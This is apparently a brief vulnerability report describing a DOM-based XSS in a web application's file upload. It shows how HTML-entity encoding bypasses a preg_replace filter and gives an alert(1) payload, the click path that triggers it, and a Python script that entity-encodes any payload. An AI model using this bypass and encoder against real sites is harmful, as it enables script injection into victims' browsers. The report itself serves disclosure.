Since the application is filtering user input with preg_replace, attackers can able to bypass restriction by using HTML to Unicode encoding.

So the application let's attacker perform DOM based XSS.

[Payload and POC]

File > images > Upload a file

Attack vector >> ')-alert(1)// (need to encode)>>

When the victim clicks the delete button,an alert will be executed.

Script to encode the payload

payload = input()
finalpayload = ""
for i in payload:
	finalpayload = finalpayload + "&#" + str(ord(i)) + ";"
